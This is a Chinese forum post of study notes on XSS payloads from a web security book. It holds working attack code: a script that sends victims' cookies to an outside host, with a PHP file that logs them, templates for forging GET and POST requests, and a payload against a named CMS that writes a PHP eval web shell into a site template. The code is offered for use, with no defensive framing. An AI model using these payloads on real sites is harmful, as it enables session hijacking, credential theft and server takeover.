TA的每日心情 | 怒 2016-5-24 16:08 |
---|
签到天数: 5 天 [LV.2]偶尔看看I
|
本帖最后由 L.N. 于 2012-7-30 21:34 编辑
注意代码中的url连接有问题!没法修改!
xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等。
1.盗取cookie,发起cookie劫持
使用xss漏洞插入cookie.js
cookie.js代码:
- var img = document.createElement("img");
- img.src = [url=http://lanu.sinaapp.com/cookie.php?cookie=+escape(document.cookie]http://lanu.sinaapp.com/cookie.php?cookie=+escape(document.cookie[/url]);
- document.body.appendChild(img);
复制代码
cookie.php代码
- <?php
- $file = fopen("cookie.txt","a");
- fwrite($file,$_GET['cookie']);
- fclose($file);
- ?>
复制代码
2.构造GET和POST请求
get.js代码:
- var img = document.createElement("img");
- img.src = "一个可以使用的get请求链接";
- document.body.appendChild(img);
复制代码
post.js代码:
代码1:(DOM节点方式)
- var f = document.createElement("form");
- f.action ="";
- f.method = "post";
- document.body.appendChild(f);
- var i1 = document.createElement("input");
- i1.name = "xxx";
- i1.value = "xxxx";
- f.appendChild(i1);
- var i2 = document.createElement("input");
- i2.name = "aaa";
- i2.value = "aaa";
- f.appendChild(i2);
- f.submit();
复制代码
代码2:
- var dd = document.createElement("div");
- document.body.appendChild(dd);
- dd.innerHTML ='<form action="" method="post" id="xssform"
- name="mbform">'+'<input type="hidden" value="xxxx" name="xxx"
- />'+'<input type="text" value="aaaa" name="aaa"
- />'+'</form>';
- document.getElementById("xssform").submit();
复制代码
代码3:(使用XMLHttpRequest)
- var url = "http://lanu.sinaapp.com";
- var postStr = "aaa=aaaa&xxx=xxxx";
- var ajax = null;
- if(windows.XMLHttpRequest)
- {
- ajax = new XMLHttpRequest();
- }
- else if(window.ActiveXObject)
- {
- ajax = new
- ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
- }
- else
- {
- return;
- }
- ajax.open("POST", url , true);
- ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- ajax.send(postStr);
- //ajax.open("GET", url, true);
- //ajax.send(null);
- ajax.onreadystatechange = function()
- {
- if(ajax.readyState == 4 && ajax.status == 200)
- {
- //alert("Done!");
- }
- }
复制代码
-------------------
3.xss钓鱼
4.浏览器识别和用户安装软件识别
- [url=http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/]http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/[/url]
复制代码 [/url]
5.css history hack
- [url=http://ha.ckers.org/weird/CSS-history-hack.html]http://ha.ckers.org/weird/CSS-history-hack.html[/url]
复制代码 [/url]
读《白帽子讲web安全》笔记
---------------------
xxs payload getshell 实例:
骑士cms getshell
//构造好的能写入一句话的连接
- var
- Shelldata='tpl_content=%3C%3Fphp%20eval%28%24_POST%5Bxdxd%5D%29%3F%3E&tpl_dir=default&tpl_name=footer.php&del_Submit=%B1%A3%B4%E6';
- try
- {
- //调用XMLHttpRequest
- var xml = window.XMLHttpRequest ?
- (new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP'));
-
- xml.open("POST",'admin_templates.php?act=do_edit',false);
-
- xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- xml.onreadystatechange = function()
-
- {
- if(xml.readyState == 4)
- {
- }
-
- }
- xml.send(Shelldata);
- }
- catch(e)
- {
- }
复制代码
|
评分
-
查看全部评分
|